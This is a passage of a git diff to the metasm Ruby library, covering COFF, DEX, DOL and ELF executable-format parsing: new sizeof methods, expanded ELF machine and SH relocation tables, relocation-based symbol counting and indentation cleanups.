+        label = label_at(s.encoded, s.encoded.ptr, "xref_#{Expression[addr]}")
+        Metasm::Relocation.new(Expression[label], :u64, @endianness)
+      end
+    else puts "W: COFF: Unsupported amd64 relocation #{r.inspect}" if $VERBOSE
+    end
+  end
+
   def decode_debug
     if dd = @directory['debug'] and sect_at_rva(dd[0])
       @debug = []
@@ -719,11 +751,11 @@ class COFF
   def decode_tls
     if @directory['tls_table'] and sect_at_rva(@directory['tls_table'][0])
       @tls = TLSDirectory.decode(self)
-             if s = sect_at_va(@tls.callback_p)
+      if s = sect_at_va(@tls.callback_p)
         s.encoded.add_export 'tls_callback_table'
         @tls.callbacks.each_with_index { |cb, i|
           @tls.callbacks[i] = curencoded.add_export "tls_callback_#{i}" if sect_at_rva(cb)
-               }
+        }
       end
     end
   end
@@ -815,6 +847,7 @@ class COFFArchive
       ar.encoded.ptr += 1 if @size & 1 == 1
     end
 
+    # TODO XXX are those actually used ?
     def decode_half ; @encoded.decode_imm(:u16, :big) end
     def decode_word ; @encoded.decode_imm(:u32, :big) end
 
diff --git a/lib/metasm/metasm/exe_format/coff_encode.rb b/lib/metasm/metasm/exe_format/coff_encode.rb
index d317884beb..2f449f9e6d 100644
--- a/lib/metasm/metasm/exe_format/coff_encode.rb
+++ b/lib/metasm/metasm/exe_format/coff_encode.rb
@@ -139,7 +139,7 @@ class COFF
   end
 
   class ImportDirectory
-    # encodes all import directories + iat
+    # encode all import directories + iat
     def self.encode(coff, ary)
       edata = { 'iat' => [] }
       %w[idata ilt nametable].each { |name| edata[name] = EncodedData.new }
@@ -160,12 +160,11 @@ class COFF
       [it, iat]
     end
 
-    # encodes an import directory + iat + names in the edata hash received as arg
+    # encode one import directory + iat + names in the edata hash received as arg
     def encode(coff, edata)
       edata['iat'] << EncodedData.new
       # edata['ilt'] = edata['iat']
       label = lambda { |n| coff.label_at(edata[n], 0, n) }
-      rva = lambda { |n| Expression[label[n], :-, coff.label_at(coff.encoded, 0)] }
       rva_end = lambda { |n| Expression[[label[n], :-, coff.label_at(coff.encoded, 0)], :+, edata[n].virtsize] }
 
       @libname_p = rva_end['nametable']
@@ -396,7 +395,8 @@ class COFF
     s.characteristics = %w[MEM_READ MEM_WRITE MEM_DISCARDABLE]
     encode_append_section s
 
-    if @imports.first and @imports.first.iat_p.kind_of? Integer
+    if @imports.first and @imports.first.iat_p.kind_of?(Integer)
+      # ordiat = iat.sort_by { @import[x].iat_p }
       ordiat = @imports.zip(iat).sort_by { |id, it| id.iat_p.kind_of?(Integer) ? id.iat_p : 1<<65 }.map { |id, it| it }
     else
       ordiat = iat
@@ -413,7 +413,7 @@ class COFF
     plt.characteristics = %w[MEM_READ MEM_EXECUTE]
 
     @imports.zip(iat) { |id, it|
-      if id.iat_p.kind_of? Integer and s = @sections.find { |s_| s_.virtaddr <= id.iat_p and s_.virtaddr + (s_.virtsize || s_.encoded.virtsize) > id.iat_p }
+      if id.iat_p.kind_of?(Integer) and @sections.find { |s_| s_.virtaddr <= id.iat_p and s_.virtaddr + (s_.virtsize || s_.encoded.virtsize) > id.iat_p }
         id.iat = it	# will be fixed up after encode_section
       else
         # XXX should not be mixed (for @directory['iat'][1])
@@ -529,9 +529,7 @@ class COFF
           end
 
           # initialize reloc table base address if needed
-          if not rt.base_addr
-            rt.base_addr = off & ~0xfff
-          end
+          rt.base_addr ||= off & ~0xfff
 
           (rt.relocs ||= []) << r
         elsif $DEBUG and not rel.target.bind(binding).reduce.kind_of?(Integer)
@@ -559,7 +557,7 @@ class COFF
   end
 
   # initialize the header from target/cpu/etc, target in ['exe' 'dll' 'kmod' 'obj']
-  def pre_encode_header(target = 'exe', want_relocs=true)
+  def pre_encode_header(target='exe', want_relocs=true)
     target = {:bin => 'exe', :lib => 'dll', :obj => 'obj', 'sys' => 'kmod', 'drv' => 'kmod'}.fetch(target, target)
 
     @header.machine ||= case @cpu.shortname
@@ -650,11 +648,11 @@ class COFF
 
   # append the section bodies to @encoded, and link the resulting binary
   def encode_sections_fixup
-    @encoded.align @optheader.file_align
     if @optheader.headers_size.kind_of?(::String)
       @encoded.fixup! @optheader.headers_size => @encoded.virtsize
       @optheader.headers_size = @encoded.virtsize
     end
+    @encoded.align @optheader.file_align
 
     baseaddr = @optheader.image_base.kind_of?(::Integer) ? @optheader.image_base : 0x400000
     binding = @encoded.binding(baseaddr)
@@ -689,7 +687,7 @@ class COFF
     # patch the iat where iat_p was defined
     # sort to ensure a 0-terminated will not overwrite an entry
     # (try to dump notepad.exe, which has a forwarder;)
-    @imports.find_all { |id| id.iat_p.kind_of? Integer }.sort_by { |id| id.iat_p }.each { |id|
+    @imports.find_all { |id| id.iat_p.kind_of?(Integer) }.sort_by { |id| id.iat_p }.each { |id|
       s = sect_at_rva(id.iat_p)
       @encoded[s.rawaddr + s.encoded.ptr, id.iat.virtsize] = id.iat
       binding.update id.iat.binding(baseaddr + id.iat_p)
@@ -710,7 +708,7 @@ class COFF
   # creates the base relocation tables (need for references to IAT not known before)
   # defaults to generating relocatable files, eg ALSR-aware
   # pass want_relocs=false to avoid the file overhead induced by this
-  def encode(target = 'exe', want_relocs = true)
+  def encode(target='exe', want_relocs=true)
     @encoded = EncodedData.new
     label_at(@encoded, 0, 'coff_start')
     pre_encode_header(target, want_relocs)
@@ -832,7 +830,7 @@ class COFF
           @lexer.unreadtok tok if not tok = @lexer.readtok or tok.type != :punct or tok.raw != '='
           raise instr, 'invalid base' if not s.virtaddr = Expression.parse(@lexer).reduce or not s.virtaddr.kind_of?(::Integer)
           if not @optheader.image_base
-                   @optheader.image_base = (s.virtaddr-0x80) & 0xfff00000
+            @optheader.image_base = (s.virtaddr-0x80) & 0xfff00000
             puts "Warning: no image_base specified, using #{Expression[@optheader.image_base]}" if $VERBOSE
           end
           s.virtaddr -= @optheader.image_base
@@ -1048,7 +1046,7 @@ class COFF
         end
         if not dll = autoexports[sym]
           sym += fallback_append if sym.kind_of?(::String) and fallback_append.kind_of?(::String)
-        next if not dll = autoexports[sym]
+          next if not dll = autoexports[sym]
         end
 
         @imports ||= []
diff --git a/lib/metasm/metasm/exe_format/dex.rb b/lib/metasm/metasm/exe_format/dex.rb
index c385dccd61..6b9c5f0538 100644
--- a/lib/metasm/metasm/exe_format/dex.rb
+++ b/lib/metasm/metasm/exe_format/dex.rb
@@ -43,6 +43,7 @@ class DEX < ExeFormat
 
 
   class SerialStruct < Metasm::SerialStruct
+    # TODO move uleb/sleb to new_field for sizeof
     new_int_field :u2, :u4, :uleb, :sleb
   end
 
@@ -135,7 +136,7 @@ class DEX < ExeFormat
 
   class MethodId < SerialStruct
     u2 :classidx
-    u2 :typeidx
+    u2 :protoidx
     u4 :nameidx
   end
 
@@ -182,7 +183,7 @@ class DEX < ExeFormat
     uleb :fieldid_diff	# this field id - array.previous field id
     uleb :access
 
-    attr_accessor :field
+    attr_accessor :fieldid, :field
   end
 
   class EncodedMethod < SerialStruct
@@ -190,7 +191,7 @@ class DEX < ExeFormat
     uleb :access
     uleb :codeoff		# offset to CodeItem
 
-    attr_accessor :method, :code, :name
+    attr_accessor :methodid, :method, :code, :name
   end
 
   class TypeItem < SerialStruct
@@ -256,7 +257,7 @@ class DEX < ExeFormat
     uleb :typeidx
     uleb :handleroff
   end
-  
+
   class Link < SerialStruct
     # undefined
   end
@@ -328,6 +329,8 @@ class DEX < ExeFormat
   def encode_u4(val) Expression[val].encode(:u32, @endianness) end
   def decode_u2(edata = @encoded) edata.decode_imm(:u16, @endianness) end
   def decode_u4(edata = @encoded) edata.decode_imm(:u32, @endianness) end
+  def sizeof_u2 ; 2 ; end
+  def sizeof_u4 ; 4 ; end
   def decode_uleb(ed = @encoded, signed=false)
     v = s = 0
     while s < 5*7
@@ -390,6 +393,7 @@ class DEX < ExeFormat
       (c.data.direct_methods + [0] + c.data.virtual_methods).each { |m|
         next id=0 if m == 0
         id += m.methodid_diff
+        m.methodid = id
         m.method = @methods[id]
         m.name = @strings[m.method.nameidx]
         @encoded.ptr = m.codeoff
@@ -441,7 +445,11 @@ class DEX < ExeFormat
   end
 
   def get_default_entrypoints
-    []
+    @classes.find_all { |c| c.data }.map { |c|
+      (c.data.direct_methods + c.data.virtual_methods).map { |m|
+        m.codeoff+m.code.insns_off
+      }
+    }.flatten
   end
 end
 
diff --git a/lib/metasm/metasm/exe_format/dol.rb b/lib/metasm/metasm/exe_format/dol.rb
index c78df35df2..b061375914 100644
--- a/lib/metasm/metasm/exe_format/dol.rb
+++ b/lib/metasm/metasm/exe_format/dol.rb
@@ -26,6 +26,7 @@ class Dol < ExeFormat
 
   def decode_word(edata = @encoded) edata.decode_imm(:u32, @endianness) end
   def encode_word(w) Expression[w].encode(:u32, @endianness) end
+  def sizeof_word ; 4 ; end
 
   def initialize(cpu = nil)
     @endianness = :big
diff --git a/lib/metasm/metasm/exe_format/elf.rb b/lib/metasm/metasm/exe_format/elf.rb
index ef518b8c28..b9f3e33542 100644
--- a/lib/metasm/metasm/exe_format/elf.rb
+++ b/lib/metasm/metasm/exe_format/elf.rb
@@ -21,29 +21,52 @@ class ELF < ExeFormat
   TYPE_HIPROC = 0xffff
 
   MACHINE = {
-     0 => 'NONE',   1 => 'M32',     2 => 'SPARC',   3 => '386',
-     4 => '68K',    5 => '88K',     6 => '486',     7 => '860',
-     8 => 'MIPS',   9 => 'S370',   10 => 'MIPS_RS3_LE',
-    15 => 'PARISC',
-    17 => 'VPP500',18 => 'SPARC32PLUS', 19 => '960',
-    20 => 'PPC',   21 => 'PPC64',  22 => 'S390',
-    36 => 'V800',  37 => 'FR20',   38 => 'RH32',   39 => 'MCORE',
-    40 => 'ARM',   41 => 'ALPHA_STD', 42 => 'SH', 43 => 'SPARCV9',
-    44 => 'TRICORE', 45 => 'ARC',  46 => 'H8_300', 47 => 'H8_300H',
-    48 => 'H8S',   49 => 'H8_500', 50 => 'IA_64',  51 => 'MIPS_X',
+     0 => 'NONE', 1 => 'M32', 2 => 'SPARC', 3 => '386',
+     4 => '68K', 5 => '88K', 6 => '486', 7 => '860',
+     8 => 'MIPS', 9 => 'S370', 10 => 'MIPS_RS3_LE',
+    15 => 'PARISC', 17 => 'VPP500', 18 => 'SPARC32PLUS', 19 => '960',
+    20 => 'PPC', 21 => 'PPC64', 22 => 'S390', 23 => 'SPU',
+    36 => 'V800', 37 => 'FR20', 38 => 'RH32', 39 => 'MCORE',
+    40 => 'ARM', 41 => 'ALPHA', 42 => 'SH', 43 => 'SPARCV9',
+    44 => 'TRICORE', 45 => 'ARC', 46 => 'H8_300', 47 => 'H8_300H',
+    48 => 'H8S', 49 => 'H8_500', 50 => 'IA_64', 51 => 'MIPS_X',
     52 => 'COLDFIRE', 53 => '68HC12', 54 => 'MMA', 55 => 'PCP',
-    56 => 'NCPU',  57 => 'NDR1',   58 => 'STARCORE', 59 => 'ME16',
-    60 => 'ST100', 61 => 'TINYJ',  62 => 'X86_64', 63 => 'PDSP',
-    66 => 'FX66',  67 => 'ST9PLUS',
-    68 => 'ST7',   69 => '68HC16', 70 => '68HC11', 71 => '68HC08',
-    72 => '68HC05',73 => 'SVX',    74 => 'ST19',   75 => 'VAX',
-    76 => 'CRIS',  77 => 'JAVELIN',78 => 'FIREPATH', 79 => 'ZSP',
-    80 => 'MMIX',  81 => 'HUANY',  82 => 'PRISM',  83 => 'AVR',
-    84 => 'FR30',  85 => 'D10V',   86 => 'D30V',   87 => 'V850',
-    88 => 'M32R',  89 => 'MN10300',90 => 'MN10200',91 => 'PJ',
-    92 => 'OPENRISC', 93 => 'ARC_A5', 94 => 'XTENSA',
-    99 => 'PJ',
-    0x9026 => 'ALPHA'
+    56 => 'NCPU', 57 => 'NDR1', 58 => 'STARCORE', 59 => 'ME16',
+    60 => 'ST100', 61 => 'TINYJ', 62 => 'X86_64', 63 => 'PDSP',
+    64 => 'PDP10', 65 => 'PDP11', 66 => 'FX66', 67 => 'ST9PLUS',
+    68 => 'ST7', 69 => '68HC16', 70 => '68HC11', 71 => '68HC08',
+    72 => '68HC05',73 => 'SVX', 74 => 'ST19', 75 => 'VAX',
+    76 => 'CRIS', 77 => 'JAVELIN',78 => 'FIREPATH', 79 => 'ZSP',
+    80 => 'MMIX', 81 => 'HUANY', 82 => 'PRISM', 83 => 'AVR',
+    84 => 'FR30', 85 => 'D10V', 86 => 'D30V', 87 => 'V850',
+    88 => 'M32R', 89 => 'MN10300',90 => 'MN10200',91 => 'PJ',
+    92 => 'OPENRISC', 93 => 'ARC_A5', 94 => 'XTENSA', 95 => 'VIDEOCORE',
+    96 => 'TMM_GPP', 97 => 'NS32K', 98 => 'TPC', 99 => 'SNP1K',
+    100 => 'ST200', 101 => 'IP2K', 102 => 'MAX', 103 => 'CR',
+    104 => 'F2MC16', 105 => 'MSP430', 106 => 'BLACKFIN', 107 => 'SE_C33',
+    108 => 'SEP', 109 => 'ARCA', 110 => 'UNICORE', 111 => 'EXCESS',
+    112 => 'DXP', 113 => 'ALTERA_NIOS2', 114 => 'CRX', 115 => 'XGATE',
+    116 => 'C166', 117 => 'M16C', 118 => 'DSPIC30F', 119 => 'CE',
+    120 => 'M32C',
+    131 => 'TSK3000', 132 => 'RS08', 133 => 'SHARC',
+    134 => 'ECOG2', 135 => 'SCORE7', 136 => 'DSP24', 137 => 'VIDEOCORE3',
+    138 => 'LATTICEMICO32', 139 => 'SE_C17', 140 => 'TI_C6000', 141 => 'TI_C2000',
+    142 => 'TI_C5500',
+    160 => 'MMDSP_PLUS', 161 => 'CYPRESS_M8C', 162 => 'R32C', 163 => 'TRIMEDIA',
+    164 => 'QDSP6', 165 => '8051', 166 => 'STXP7X', 167 => 'NDS32',
+    168 => 'ECOG1', 169 => 'MAXQ30', 170 => 'XIMO16', 171 => 'MANIK',
+    172 => 'CRAYNV2', 173 => 'RX', 174 => 'METAG', 175 => 'MCST_ELBRUS',
+    176 => 'ECOG16', 177 => 'CR16', 178 => 'ETPU', 179 => 'SLE9X',
+    180 => 'L10M', 181 => 'K10M', 182 => 'INTEL_RESV', 183 => 'AARCH64',
+    184 => 'ARM_RESV', 185 => 'AVR32', 186 => 'STM8', 187 => 'TILE64',
+    188 => 'TILEPRO', 189 => 'MICROBLAZE', 190 => 'CUDA', 191 => 'TILEGX',
+    192 => 'CLOUDSHIELD', 193 => 'COREA_1ST', 194 => 'COREA_2ND', 195 => 'ARC_COMPACT2',
+    196 => 'OPEN8', 197 => 'RL78', 198 => 'VIDEOCORE5', 199 => '78KOR',
+    200 => '56800EX', 201 => 'BA1', 202 => 'BA2', 203 => 'XCORE',
+    204 => 'MCHP_PIC', 205 => 'INTEL205', 206 => 'INTEL206', 207 => 'INTEL207',
+    208 => 'INTEL208', 209 => 'INTEL209', 210 => 'KM32', 211 => 'KMX32',
+    212 => 'KMX16', 213 => 'KMX8', 214 => 'KVARC', 215 => 'CDP',
+    216 => 'COGE', 217 => 'COOL', 218 => 'NORC',
   }
 
   FLAGS = {
@@ -52,8 +75,9 @@ class ELF < ExeFormat
       0x8000_0000 => 'LEDATA'},
     'SPARCV9' => {0 => 'TSO', 1 => 'PSO', 2 => 'RMO'},	# XXX not a flag
     'MIPS' => {1 => 'NOREORDER', 2 => 'PIC', 4 => 'CPIC',
-      8 => 'XGOT', 16 => '64BIT_WHIRL', 32 => 'ABI2',
-      64 => 'ABI_ON32'}
+      8 => 'XGOT', 0x10 => '64BIT_WHIRL', 0x20 => 'ABI2',
+      0x40 => 'ABI_ON32', 0x80 => 'OPTIONSFIRST',
+      0x100 => '32BITMODE'}
   }
 
   DYNAMIC_TAG = { 0 => 'NULL', 1 => 'NEEDED', 2 => 'PLTRELSZ', 3 =>
@@ -300,6 +324,37 @@ class ELF < ExeFormat
       112 => 'EMB_RELST_LO', 113 => 'EMB_RELST_HI',
       114 => 'EMB_RELST_HA', 115 => 'EMB_BIT_FLD',
       116 => 'EMB_RELSDA' },
+    'SH' => { 0 => 'NONE', 1 => 'DIR32', 2 => 'REL32', 3 => 'DIR8WPN',
+      4 => 'IND12W', 5 => 'DIR8WPL', 6 => 'DIR8WPZ', 7 => 'DIR8BP',
+      8 => 'DIR8W', 9 => 'DIR8L', 10 => 'LOOP_START', 11 => 'LOOP_END',
+      22 => 'GNU_VTINHERIT', 23 => 'GNU_VTENTRY', 24 => 'SWITCH8',
+      25 => 'SWITCH16', 26 => 'SWITCH32', 27 => 'USES', 28 => 'COUNT',
+      29 => 'ALIGN', 30 => 'CODE', 31 => 'DATA', 32 => 'LABEL',
+      33 => 'DIR16', 34 => 'DIR8', 35 => 'DIR8UL', 36 => 'DIR8UW',
+      37 => 'DIR8U', 38 => 'DIR8SW', 39 => 'DIR8S', 40 => 'DIR4UL',
+      41 => 'DIR4UW', 42 => 'DIR4U', 43 => 'PSHA', 44 => 'PSHL',
+      45 => 'DIR5U', 46 => 'DIR6U', 47 => 'DIR6S', 48 => 'DIR10S',
+      49 => 'DIR10SW', 50 => 'DIR10SL', 51 => 'DIR10SQ', 53 => 'DIR16S',
+      144 => 'TLS_GD_32', 145 => 'TLS_LD_32', 146 => 'TLS_LDO_32',
+      147 => 'TLS_IE_32', 148 => 'TLS_LE_32', 149 => 'TLS_DTPMOD32',
+      150 => 'TLS_DTPOFF32', 151 => 'TLS_TPOFF32', 160 => 'GOT32',
+      161 => 'PLT32', 162 => 'COPY', 163 => 'GLOB_DAT',
+      164 => 'JMP_SLOT', 165 => 'RELATIVE', 166 => 'GOTOFF',
+      167 => 'GOTPC', 168 => 'GOTPLT32', 169 => 'GOT_LOW16',
+      170 => 'GOT_MEDLOW16', 171 => 'GOT_MEDHI16', 172 => 'GOT_HI16',
+      173 => 'GOTPLT_LOW16', 174 => 'GOTPLT_MEDLOW16', 175 => 'GOTPLT_MEDHI16',
+      176 => 'GOTPLT_HI16', 177 => 'PLT_LOW16', 178 => 'PLT_MEDLOW16',
+      179 => 'PLT_MEDHI16', 180 => 'PLT_HI16', 181 => 'GOTOFF_LOW16',
+      182 => 'GOTOFF_MEDLOW16', 183 => 'GOTOFF_MEDHI16', 184 => 'GOTOFF_HI16',
+      185 => 'GOTPC_LOW16', 186 => 'GOTPC_MEDLOW16', 187 => 'GOTPC_MEDHI16',
+      188 => 'GOTPC_HI16', 189 => 'GOT10BY4', 190 => 'GOTPLT10BY4',
+      191 => 'GOT10BY8', 192 => 'GOTPLT10BY8', 193 => 'COPY64',
+      194 => 'GLOB_DAT64', 195 => 'JMP_SLOT64', 196 => 'RELATIVE64',
+      242 => 'SHMEDIA_CODE', 243 => 'PT_16', 244 => 'IMMS16',
+      245 => 'IMMU16', 246 => 'IMM_LOW16', 247 => 'IMM_LOW16_PCREL',
+      248 => 'IMM_MEDLOW16', 249 => 'IMM_MEDLOW16_PCREL', 250 => 'IMM_MEDHI16',
+      251 => 'IMM_MEDHI16_PCREL', 252 => 'IMM_HI16', 253 => 'IMM_HI16_PCREL',
+      254 => '64', 255 => '64_PCREL' },
     'SPARC' => { 0 => 'NONE', 1 => '8', 2 => '16', 3 => '32',
       4 => 'DISP8', 5 => 'DISP16', 6 => 'DISP32',
       7 => 'WDISP30', 8 => 'WDISP22', 9 => 'HI22',
@@ -362,11 +417,6 @@ class ELF < ExeFormat
     word :flags
     fld_bits(:flags) { |elf, hdr| FLAGS[hdr.machine] || {} }
     halfs :ehsize, :phentsize, :phnum, :shentsize, :shnum, :shstrndx
-
-    def self.size elf
-      x = elf.bitsize >> 3
-      40 + 3*x
-    end
   end
 
   class Segment < SerialStruct
@@ -380,11 +430,6 @@ class ELF < ExeFormat
       else Segment64
       end
     end
-
-    def self.size elf
-      x = elf.bitsize >> 3
-      8 + 6*x
-    end
   end
 
   class Segment32 < Segment
@@ -421,11 +466,6 @@ class ELF < ExeFormat
     xword :entsize
 
     attr_accessor :name, :encoded
-
-    def self.size elf
-      x = elf.bitsize >> 3
-      16 + 6*x
-    end
   end
 
   class Symbol < SerialStruct
@@ -439,11 +479,6 @@ class ELF < ExeFormat
 
     attr_accessor :name_p, :value, :size, :bind, :type, :other, :shndx
     attr_accessor :name, :thunk
-
-    def self.size elf
-      x = elf.bitsize >> 3
-      8 + 2*x
-    end
   end
 
   class Symbol32 < Symbol
@@ -478,12 +513,6 @@ class ELF < ExeFormat
     end
 
     def addend ; end
-
-    def self.size elf
-      x = elf.bitsize >> 3
-      2*x
-    end
-
   end
   class Relocation32 < Relocation
     addr :offset
@@ -506,11 +535,6 @@ class ELF < ExeFormat
       else RelocationAddend64
       end
     end
-    def self.size elf
-      x = elf.bitsize >> 3
-      3*x
-    end
-
   end
   class RelocationAddend32 < RelocationAddend
     addr :offset
@@ -637,6 +661,15 @@ class ELF < ExeFormat
   end
 
   def shortname; 'elf'; end
+
+  def sizeof_byte ; 1 ; end
+  def sizeof_half ; 2 ; end
+  def sizeof_word ; 4 ; end
+  def sizeof_sword ; 4 ; end
+  def sizeof_xword ; @bitsize == 32 ? 4 : 8 ; end
+  alias sizeof_sxword sizeof_xword
+  alias sizeof_addr sizeof_xword
+  alias sizeof_off sizeof_xword
 end
 
 class LoadedELF < ELF
@@ -689,6 +722,9 @@ class FatELF < ExeFormat
   def decode_byte(edata = @encoded)  edata.decode_imm(:u8,  @endianness) end
   def decode_word(edata = @encoded)  edata.decode_imm(:u16, @endianness) end
   def decode_qword(edata = @encoded) edata.decode_imm(:u64, @endianness) end
+  def sizeof_byte ; 1 ; end
+  def sizeof_word ; 2 ; end
+  def sizeof_qword ; 8 ; end
 
   attr_accessor :header, :list
   def initialize
@@ -716,7 +752,7 @@ class FatELF < ExeFormat
         f.encoded = e.encode_string
         h = e.header
         f.machine, f.abi, f.abi_version, f.e_class, f.data =
-         h.machine, h.abi, h.abi_version, h.e_class, h.data
+          h.machine, h.abi, h.abi_version, h.e_class, h.data
       end
       f.offset = new_label('fat_off')
       f.size = f.encoded.size
@@ -812,7 +848,7 @@ typedef struct {			/* Verneed Auxiliary Structure. */
   Elf32_Word	vna_next;	/* no. of bytes from start of this */
 } Elf32_Vernaux;			/*	vernaux to next vernaux entry */
 
-typedef	Elf32_Half 	Elf32_Versym;	/* Version symbol index array */
+typedef	Elf32_Half	Elf32_Versym;	/* Version symbol index array */
 
 typedef struct {
   Elf32_Half	si_boundto;	/* direct bindings - symbol bound to */
diff --git a/lib/metasm/metasm/exe_format/elf_decode.rb b/lib/metasm/metasm/exe_format/elf_decode.rb
index 0c540902c4..8f81c90f9e 100644
--- a/lib/metasm/metasm/exe_format/elf_decode.rb
+++ b/lib/metasm/metasm/exe_format/elf_decode.rb
@@ -18,19 +18,19 @@ class ELF
       case hdr.e_class
       when '32'; elf.bitsize = 32
       when '64', '64_icc'; elf.bitsize = 64
-      else raise InvalidExeFormat, "E: ELF: unsupported class #{hdr.e_class}"
+      else puts "W: ELF: unsupported class #{hdr.e_class}, assuming 32bit"; elf.bitsize = 32
       end
 
       case hdr.data
       when 'LSB'; elf.endianness = :little
       when 'MSB'; elf.endianness = :big
-      else raise InvalidExeFormat, "E: ELF: unsupported endianness #{hdr.data}"
+      else puts "W: ELF: unsupported endianness #{hdr.data}, assuming littleendian"; elf.endianness = :little
       end
 
       if hdr.i_version != 'CURRENT'
-        raise InvalidExeFormat, "E: ELF: unsupported ELF version #{hdr.i_version}"
+        puts ":: ELF: unsupported ELF version #{hdr.i_version}"
       end
-           }
+    }
   end
 
   class Symbol
@@ -66,7 +66,7 @@ class ELF
   # handles relocated LoadedELF
   def addr_to_fileoff(addr)
     la = module_address
-           la = (la == 0 ? (@load_address ||= 0) : 0)
+    la = (la == 0 ? (@load_address ||= 0) : 0)
     addr_to_off(addr - la)
   end
 
@@ -75,7 +75,7 @@ class ELF
   def fileoff_to_addr(foff)
     if s = @segments.find { |s_| s_.type == 'LOAD' and s_.offset <= foff and s_.offset + s_.filesz > foff }
       la = module_address
-             la = (la == 0 ? (@load_address ||= 0) : 0)
+      la = (la == 0 ? (@load_address ||= 0) : 0)
       s.vaddr + la + foff - s.offset
     end
   end
@@ -106,7 +106,7 @@ class ELF
   def decode_header(off = 0, decode_phdr=true, decode_shdr=true)
     @encoded.ptr = off
     @header.decode self
-    raise InvalidExeFormat, "Invalid elf header size: #{@header.ehsize}" if Header.size(self) != @header.ehsize
+    raise InvalidExeFormat, "Invalid elf header size: #{@header.ehsize}" if Header.sizeof(self) != @header.ehsize
     if decode_phdr and @header.phoff != 0
       decode_program_header(@header.phoff+off)
     end
@@ -118,7 +118,7 @@ class ELF
   # decodes the section header
   # section names are read from shstrndx if possible
   def decode_section_header(off = @header.shoff)
-    raise InvalidExeFormat, "Invalid elf section header size: #{@header.shentsize}" if Section.size(self) != @header.shentsize
+    raise InvalidExeFormat, "Invalid elf section header size: #{@header.shentsize}" if Section.sizeof(self) != @header.shentsize
     @encoded.add_export new_label('section_header'), off
     @encoded.ptr = off
     @sections = []
@@ -137,7 +137,7 @@ class ELF
   # decodes the program header table
   # marks the elf entrypoint as an export of +self.encoded+
   def decode_program_header(off = @header.phoff)
-    raise InvalidExeFormat, "Invalid elf program header size: #{@header.phentsize}" if Segment.size(self) != @header.phentsize
+    raise InvalidExeFormat, "Invalid elf program header size: #{@header.phentsize}" if Segment.sizeof(self) != @header.phentsize
     @encoded.add_export new_label('program_header'), off
     @encoded.ptr = off
     @segments = []
@@ -224,7 +224,40 @@ class ELF
     # (gnu_hash(sym[N].name) & ~1) | (N == dynsymcount-1 || (gnu_hash(sym[N].name) % nbucket) != (gnu_hash(sym[N+1].name) % nbucket))
     # that's the hash, with its lower bit replaced by the bool [1 if i am the last sym having my hash as hash]
 
-    return hsymcount+symndx if just_get_count
+    # we're going to decode the symbol table, and we just want to get the nr of symbols to read
+    if just_get_count
+      # index of highest hashed (exported) symbols
+      ns = hsymcount+symndx
+
+      # no way to get the number of non-exported symbols from what we have here
+      # so we'll decode all relocs and use the largest index we see..
+      rels = []
+      if @encoded.ptr = @tag['REL'] and @tag['RELENT'] == Relocation.sizeof(self)
+        p_end = @encoded.ptr + @tag['RELSZ']
+        while @encoded.ptr < p_end
+          rels << Relocation.decode(self)
+        end
+      end
+      if @encoded.ptr = @tag['RELA'] and @tag['RELAENT'] == RelocationAddend.sizeof(self)
+        p_end = @encoded.ptr + @tag['RELASZ']
+        while @encoded.ptr < p_end
+          rels << RelocationAddend.decode(self)
+        end
+      end
+      if @encoded.ptr = @tag['JMPREL'] and relcls = case @tag['PLTREL']
+          when 'REL';  Relocation
+          when 'RELA'; RelocationAddend
+          end
+        p_end = @encoded.ptr + @tag['PLTRELSZ']
+        while @encoded.ptr < p_end
+          rels << relcls.decode(self)
+        end
+      end
+      maxr = rels.map { |rel| rel.symbol }.grep(::Integer).max || -1
+
+      return [ns, maxr+1].max
+    end
+
 
     # TODO
   end
@@ -359,7 +392,7 @@ class ELF
   def decode_segments_symbols
     return unless @tag['STRTAB'] and @tag['STRSZ'] and @tag['SYMTAB'] and (@tag['HASH'] or @tag['GNU_HASH'])
 
-    raise "E: ELF: unsupported symbol entry size: #{@tag['SYMENT']}" if @tag['SYMENT'] != Symbol.size(self)
+    raise "E: ELF: unsupported symbol entry size: #{@tag['SYMENT']}" if @tag['SYMENT'] != Symbol.sizeof(self)
 
     # find number of symbols
     if @tag['HASH']
@@ -394,14 +427,16 @@ class ELF
       @encoded.ptr = sec.offset
       syms = []
       raise 'Invalid symbol table' if sec.size > @encoded.length
-      (sec.size / Symbol.size(self)).times { syms << Symbol.decode(self, strtab) }
+      (sec.size / Symbol.sizeof(self)).times { syms << Symbol.decode(self, strtab) }
       alreadysegs = true if @header.type == 'DYN' or @header.type == 'EXEC'
+      alreadysyms = @symbols.inject({}) { |h, s| h.update s.name => true } if alreadysegs
       syms.each { |s|
         if alreadysegs
           # if we already decoded the symbols from the DYNAMIC segment,
           # ignore dups and imports from this section
           next if s.shndx == 'UNDEF'
-          next if @symbols.find { |ss| ss.name == s.name }
+          next if alreadysyms[s.name]
+          alreadysyms[s.name] = true
         end
         @symbols << s
         decode_symbol_export(s)
@@ -445,7 +480,7 @@ class ELF
   def decode_segments_relocs
     @relocations.clear
     if @encoded.ptr = @tag['REL']
-      raise "E: ELF: unsupported rel entry size #{@tag['RELENT']}" if @tag['RELENT'] != Relocation.size(self)
+      raise "E: ELF: unsupported rel entry size #{@tag['RELENT']}" if @tag['RELENT'] != Relocation.sizeof(self)
       p_end = @encoded.ptr + @tag['RELSZ']
       while @encoded.ptr < p_end
         @relocations << Relocation.decode(self)
@@ -453,7 +488,7 @@ class ELF
     end
 
     if @encoded.ptr = @tag['RELA']
-      raise "E: ELF: unsupported rela entry size #{@tag['RELAENT'].inspect}" if @tag['RELAENT'] != RelocationAddend.size(self)
+      raise "E: ELF: unsupported rela entry size #{@tag['RELAENT'].inspect}" if @tag['RELAENT'] != RelocationAddend.sizeof(self)
       p_end = @encoded.ptr + @tag['RELASZ']
       while @encoded.ptr < p_end
         @relocations << RelocationAddend.decode(self)
@@ -509,10 +544,28 @@ class ELF
     end
   end
 
+  # returns the target of a relocation using reloc.symbol
+  # may create new labels if the relocation targets a section
+  def reloc_target(reloc)
+    target = 0
+    if reloc.symbol.kind_of?(Symbol)
+      if reloc.symbol.type == 'SECTION'
+        s = @sections[reloc.symbol.shndx]
+        if not target = @encoded.inv_export[s.offset]
+          target = new_label(s.name)
+          @encoded.add_export(target, s.offset)
+        end
+      elsif reloc.symbol.name
+        target = reloc.symbol.name
+      end
+    end
+    target
+  end
+
   # returns the Metasm::Relocation that should be applied for reloc
   # self.encoded.ptr must point to the location that will be relocated (for implicit addends)
   def arch_decode_segments_reloc_386(reloc)
-    if reloc.symbol and n = reloc.symbol.name and reloc.symbol.shndx == 'UNDEF' and @sections and
